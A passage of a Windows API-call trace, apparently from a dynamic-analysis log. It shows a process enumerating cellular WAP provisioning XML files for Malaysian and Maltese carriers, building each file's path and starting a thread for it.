_Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.597] wcscat (in: _Dest=0x4f03130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.597] wcscat (in: _Dest=0x4f03130, _Source="257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" [0178.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f03130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0178.597] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="258__C~1.PRO")) returned 1 [0178.597] wcscmp (_String1="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.597] wcscmp (_String1="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x4f021d0 [0178.597] wcscpy (in: _Dest=0x4f021d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.598] wcscat (in: _Dest=0x4f021d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.598] wcscat (in: _Dest=0x4f021d0, _Source="258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" [0178.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f021d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0178.598] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="259__C~1.PRO")) returned 1 [0178.598] wcscmp (_String1="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.598] wcscmp (_String1="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3041e80 [0178.598] wcscpy (in: _Dest=0x3041e80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.598] wcscat (in: _Dest=0x3041e80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.598] wcscat (in: _Dest=0x3041e80, _Source="259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" [0178.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0178.599] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="25__CE~1.PRO")) returned 1 [0178.600] wcscmp (_String1="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0178.600] wcscmp (_String1="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0178.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x2fe2b08 [0178.600] wcscpy (in: _Dest=0x2fe2b08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.600] wcscat (in: _Dest=0x2fe2b08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.600] wcscat (in: _Dest=0x2fe2b08, _Source="25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0178.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0178.600] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="260__C~1.PRO")) returned 1 [0178.600] wcscmp (_String1="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.600] wcscmp (_String1="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3042940 [0178.601] wcscpy (in: _Dest=0x3042940, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.601] wcscat (in: _Dest=0x3042940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.601] wcscat (in: _Dest=0x3042940, _Source="260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" [0178.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042940, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450 [0178.601] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909bb812, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909bb812, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909bb812, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", cAlternateFileName="261__C~1.PRO")) returned 1 [0178.601] wcscmp (_String1="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.601] wcscmp (_String1="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x3043150 [0178.601] wcscpy (in: _Dest=0x3043150, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.602] wcscat (in: _Dest=0x3043150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.602] wcscat (in: _Dest=0x3043150, _Source="261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\261__Connections_Cellular_Maxis (Malaysia)_i2$(__MVID)@WAP.provxml" [0178.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0178.602] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="262__C~1.PRO")) returned 1 [0178.602] wcscmp (_String1="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.602] wcscmp (_String1="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.602] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x30436b0 [0178.602] wcscpy (in: _Dest=0x30436b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.602] wcscat (in: _Dest=0x30436b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.602] wcscat (in: _Dest=0x30436b0, _Source="262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\262__Connections_Cellular_Timecel (Malaysia)_i0$(__MVID)@WAP.provxml" [0178.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30436b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0178.603] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="263__C~1.PRO")) returned 1 [0178.603] wcscmp (_String1="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.603] wcscmp (_String1="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.603] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3041fd8 [0178.603] wcscpy (in: _Dest=0x3041fd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.603] wcscat (in: _Dest=0x3041fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.603] wcscat (in: _Dest=0x3041fd8, _Source="263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\263__Connections_Cellular_U Mobile (Malaysia)_i0$(__MVID)@WAP.provxml" [0178.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b4 [0178.604] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="264__C~1.PRO")) returned 1 [0178.604] wcscmp (_String1="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.604] wcscmp (_String1="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.604] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x3041d28 [0178.604] wcscpy (in: _Dest=0x3041d28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.604] wcscat (in: _Dest=0x3041d28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.604] wcscat (in: _Dest=0x3041d28, _Source="264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\264__Connections_Cellular_Go Mobile (Malta)_i0$(__MVID)@WAP.provxml" [0178.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0178.605] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x909e1a7e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x909e1a7e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x909e1a7e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", cAlternateFileName="265__C~1.PRO")) returned 1 [0178.605] wcscmp (_String1="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.605] wcscmp (_String1="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.605] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x3043808 [0178.605] wcscpy (in: _Dest=0x3043808, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.605] wcscat (in: _Dest=0x3043808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.605] wcscat (in: _Dest=0x3043808, _Source="265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\265__Connections_Cellular_Go Mobile (Malta)_i1$(__MVID)@WAP.provxml" [0178.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0178.606] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", cAlternateFileName="266__C~1.PRO")) returned 1 [0178.606] wcscmp (_String1="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.606] wcscmp (_String1="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x3043558 [0178.606] wcscpy (in: _Dest=0x3043558, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.606] wcscat (in: _Dest=0x3043558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.606] wcscat (in: _Dest=0x3043558, _Source="266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\266__Connections_Cellular_Vodafone Malta (Malta)_i0$(__MVID)@WAP.provxml" [0178.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0178.607] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="267__C~1.PRO")) returned 1 [0178.607] wcscmp (_String1="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0178.607] wcscmp 